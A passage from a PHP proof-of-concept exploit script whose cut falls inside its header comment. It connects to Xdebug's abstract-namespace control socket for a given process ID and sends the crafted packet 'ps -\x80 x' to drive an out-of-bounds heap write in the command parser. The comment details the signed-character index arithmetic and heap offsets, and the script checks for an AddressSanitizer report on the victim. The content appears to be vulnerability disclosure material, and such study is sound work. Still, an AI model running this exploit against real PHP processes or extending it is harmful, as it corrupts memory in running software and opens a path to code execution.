in the Linux abstract namespace and sends * a malformed packet that drives xdebug_cmd_parse into an OOB * read/write at src/lib/cmd_parser.c:115-116. * * Usage: php attacker.php * * The malformed packet is `ps -\x80 x`: * - `ps` : a real command (so the parser enters the option * phase after the first space) * - `-` : opens an option group * - `\x80`: option byte. opt_index = (signed char)0x80 - 'a' * = -225. args->value[-225] is 1800 bytes below the * 216-byte heap allocation. * - ` x` : value (the OOB write deposits a pointer to an * xdebug_str_create("x", 1) at args->value[-225]). * * Requires the PHP sockets extension. */ if ($argc < 2) { fwrite(STDERR, "usage: php $argv[0] \n"); exit(1); } $pid = (int) $argv[1]; if (!extension_loaded('sockets')) { fwrite(STDERR, "this PoC needs the `sockets` PHP extension\n"); exit(2); } $sock = socket_create(AF_UNIX, SOCK_STREAM, 0); if (!$sock) { fwrite(STDERR, "socket_create: " . socket_strerror(socket_last_error()) . "\n"); exit(3); } /* Linux abstract namespace: leading NUL in sun_path. */ $addr = "\x00xdebug-ctrl.$pid"; if (!@socket_connect($sock, $addr)) { fwrite(STDERR, "socket_connect failed: " . socket_strerror(socket_last_error($sock)) . "\n"); exit(4); } echo "connected to @xdebug-ctrl.$pid\n"; $payload = "ps -\x80 x"; socket_write($sock, $payload, strlen($payload)); echo "sent: " . bin2hex($payload) . "\n"; $reply = ''; while (($chunk = @socket_read($sock, 4096)) !== false && $chunk !== '') { $reply .= $chunk; } echo "reply: " . substr($reply, 0, 200) . (strlen($reply) > 200 ? "...\n" : "\n"); socket_close($sock); echo "\n"; echo "If the victim is running under AddressSanitizer, its stderr\n"; echo "should now contain a heap-use-after-free report at\n"; echo " src/lib/cmd_parser.c:115\n"; echo "with the bad address inside a 216-byte freed region.\n";